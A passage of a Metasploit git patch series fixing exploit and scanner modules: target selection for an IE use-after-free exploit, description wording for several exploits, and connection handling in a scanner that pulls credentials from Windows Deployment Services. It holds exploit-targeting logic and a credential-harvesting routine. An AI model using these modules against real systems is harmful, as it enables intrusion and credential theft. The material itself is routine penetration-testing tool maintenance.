+ } }) end @@ -180,9 +175,9 @@ class Metasploit3 < Msf::Exploit::Remote }) if res and res.code == 200 and res.body =~ /(Script deleted)/ - vprint_status("#{peer} - Script removed successfully") + print_status("#{peer} - Script removed successfully") else - vprint_warning("#{peer} - Unable to remove script #{@scriptid}") + print_warning("#{peer} - Unable to remove script #{@scriptid}") end end end From 15e8c3bcd6691261a15357110e9fde4ea760e17e Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 14 Oct 2013 14:10:08 -0500 Subject: [PATCH 206/210] [FixRM #8470] - can't convert nil into String Target selection bug in ms13_069_caret.rb. Happens when the target is Win 7 + IE8, which actually isn't a suitable target. [FixRM #8470] --- .../windows/browser/ms13_069_caret.rb | 20 +------------------ 1 file changed, 1 insertion(+), 19 deletions(-) diff --git a/modules/exploits/windows/browser/ms13_069_caret.rb b/modules/exploits/windows/browser/ms13_069_caret.rb index da93c1889a..68c9c9fb98 100644 --- a/modules/exploits/windows/browser/ms13_069_caret.rb +++ b/modules/exploits/windows/browser/ms13_069_caret.rb @@ -44,7 +44,6 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => 'win', 'Targets' => [ - [ 'Automatic', {} ], [ # Win 7 target on hold until we have a stable custom spray for it 'IE 8 on Windows XP SP3', @@ -84,24 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote def get_target(agent) - return target if target.name != 'Automatic' - - nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' - ie = agent.scan(/MSIE (\d)/).flatten[0] || '' - - ie_name = "IE #{ie}" - - case nt - when '5.1' - os_name = 'Windows XP SP3' - end - - targets.each do |t| - if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) - return t - end - end - + return targets[0] if agent =~ /MSIE 8\.0/ and agent =~ /Windows NT 5\.1/ nil end From 63e40f9fba37d3491d8df31b2d780d7dfca8065e Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Mon, 14 Oct 2013 15:17:39 -0500 Subject: [PATCH 207/210] Release time fixes to modules * Period at the end of a description. * Methods shouldn't be meth_name! unless the method is destructive. * "Setup" is a noun, "set up" is a verb. * Use the clunky post module naming convention. --- .../auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb | 2 +- modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb | 4 ++-- modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb | 4 ++-- modules/exploits/windows/misc/hp_dataprotector_crs.rb | 2 +- modules/post/multi/gather/resolve_hosts.rb | 2 +- 5 files changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb index 27ab2d7753..f444d97cf7 100644 --- a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb +++ b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb @@ -20,7 +20,7 @@ class Metasploit4 < Msf::Auxiliary 'Name' => 'SAP Host Agent Information Disclosure', 'Description' => %q{ This module attempts to retrieve Computer and OS info from Host Agent - through the SAP HostControl service + through the SAP HostControl service. }, 'References' => [ diff --git a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb index b220e133a6..86cda53b68 100644 --- a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb @@ -70,14 +70,14 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - test_login! + test_login execute_cmdstager end # Sends an HTTP request with authorization header to the router # Raises an exception unless the login is successful - def test_login! + def test_login print_status("#{rhost}:#{rport} - Trying to login with #{user}:#{pass}") res = send_auth_request_cgi({ diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb index b60631106f..cdbd765418 100644 --- a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -33,11 +33,11 @@ class Metasploit3 < Msf::Exploit::Remote multiple research companies and the vendor until the October patch release. This issue is a use-after-free vulnerability in CDisplayPointer via the use of a - "onpropertychange" event handler. To setup the appropriate buggy conditions, we first craft + "onpropertychange" event handler. To set up the appropriate buggy conditions, we first craft the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element. If we use a select() function for the CTextArea element, two important things will happen: a CDisplayPointer object will be created for CTextArea, and it will also trigger another - event called "onselect". The "onselect" event will allow us to setup for the actual event + event called "onselect". The "onselect" event will allow us to set up for the actual event handler we want to abuse - the "onpropertychange" event. Since the CBlockElement is a child of CTextArea, if we do a node swap of CBlockElement in "onselect", this will trigger "onpropertychange". During "onpropertychange" event handling, a free of the CDisplayPointer diff --git a/modules/exploits/windows/misc/hp_dataprotector_crs.rb b/modules/exploits/windows/misc/hp_dataprotector_crs.rb index d63c006d6f..5186340e59 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_crs.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_crs.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => 'HP Data Protector Cell Request Service Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in the Hewlett-Packard Data Protector - product. The vulnerability, due to the insecure usage of _swprintf, exist at the Cell + product. The vulnerability, due to the insecure usage of _swprintf, exists at the Cell Request Service (crs.exe) when parsing packets with opcode 211. This module has been tested successfully on HP Data Protector 6.20 and 7.00 on Windows XP SP3. }, diff --git a/modules/post/multi/gather/resolve_hosts.rb b/modules/post/multi/gather/resolve_hosts.rb index 0bb3572335..b054198958 100644 --- a/modules/post/multi/gather/resolve_hosts.rb +++ b/modules/post/multi/gather/resolve_hosts.rb @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'Resolve Hosts', + 'Name' => 'Multi Gather Resolve Hosts', 'Description' => %q{ Resolves hostnames to either IPv4 or IPv6 addresses from the perspective of the remote host. }, From a3af5d681b84fff9329aabf8340bada43d2e835b Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Mon, 14 Oct 2013 21:53:22 +0100 Subject: [PATCH 208/210] Ensure TCP connection is closed --- .../dcerpc/windows_deployment_services.rb | 27 +++++++++++++------ 1 file changed, 19 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index b8dd2d76a6..109837a97e 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -57,8 +57,13 @@ class Metasploit3 < Msf::Auxiliary query_host(ip) rescue ::Interrupt raise $! - rescue ::Exception => e - print_error("#{ip}:#{rport} error: #{e}") + rescue ::Rex::ConnectionError => e + print_error("#{ip}:#{rport} Connection Error: #{e}") + ensure + # Ensure socket is pulled down afterwards + self.dcerpc.socket.close rescue nil + self.dcerpc = nil + self.handle = nil end end @@ -78,7 +83,7 @@ class Metasploit3 < Msf::Auxiliary print_status("Binding to #{handle} ...") self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock) - print_good("Bound to #{handle}") + vprint_good("Bound to #{handle}") report_service( :host => rhost, @@ -107,7 +112,7 @@ class Metasploit3 < Msf::Auxiliary rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e vprint_error(e.to_s) print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.") - return + return nil end unless result.nil? @@ -116,7 +121,7 @@ class Metasploit3 < Msf::Auxiliary results.each do |result| unless result.empty? - unless result['username'].nil? || result['password'].nil? + if result['username'] and result['password'] print_good("Retrived #{result['type']} credentials for #{architecture[0]}") creds_found = true domain = "" @@ -158,7 +163,7 @@ class Metasploit3 < Msf::Auxiliary wdsc_packet = packet.create - print_status("Sending #{architecture[0]} Client Unattend request ...") + vprint_status("Sending #{architecture[0]} Client Unattend request ...") response = dcerpc.call(0, wdsc_packet) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) @@ -184,8 +189,14 @@ class Metasploit3 < Msf::Auxiliary def extract_unattend(data) start = data.index('<?xml') - finish = data.index('</unattend>')+10 - return data[start..finish] + finish = data.index('</unattend>') + if start and finish + finish += 10 + return data[start..finish] + else + print_error("Incomplete transmission or malformed unattend file.") + return nil + end end def parse_client_unattend(data) From e8d0292118328d6e6127592329a80abc62c33749 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Mon, 14 Oct 2013 17:24:22 -0500 Subject: [PATCH 209/210] Use read_response class method Looks like this was never implemented in other modules, but it collects data from the socket in the usual get_once sort of way. --- .../scanner/dcerpc/windows_deployment_services.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index 109837a97e..9187efc44f 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -164,11 +164,13 @@ class Metasploit3 < Msf::Auxiliary wdsc_packet = packet.create vprint_status("Sending #{architecture[0]} Client Unattend request ...") - response = dcerpc.call(0, wdsc_packet) + dcerpc.call(0, wdsc_packet, false) + timeout = datastore['Timeout'] || 3 + response = Rex::Proto::DCERPC::Client.read_response(self.dcerpc.socket, timeout) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + if (response and response.stub_data) vprint_status('Received response ...') - data = dcerpc.last_response.stub_data + data = response.stub_data # Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000 op_error_code = data.unpack('v*')[19] From d0b1479d5bc5d6f2aec0b9c2550a9b7e93d1000f Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Mon, 14 Oct 2013 17:41:51 -0500 Subject: [PATCH 210/210] Use the real timeout option for DCERPC --- modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index 9187efc44f..64554f54fa 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -165,7 +165,7 @@ class Metasploit3 < Msf::Auxiliary vprint_status("Sending #{architecture[0]} Client Unattend request ...") dcerpc.call(0, wdsc_packet, false) - timeout = datastore['Timeout'] || 3 + timeout = datastore['DCERPC::ReadTimeout'] response = Rex::Proto::DCERPC::Client.read_response(self.dcerpc.socket, timeout) if (response and response.stub_data)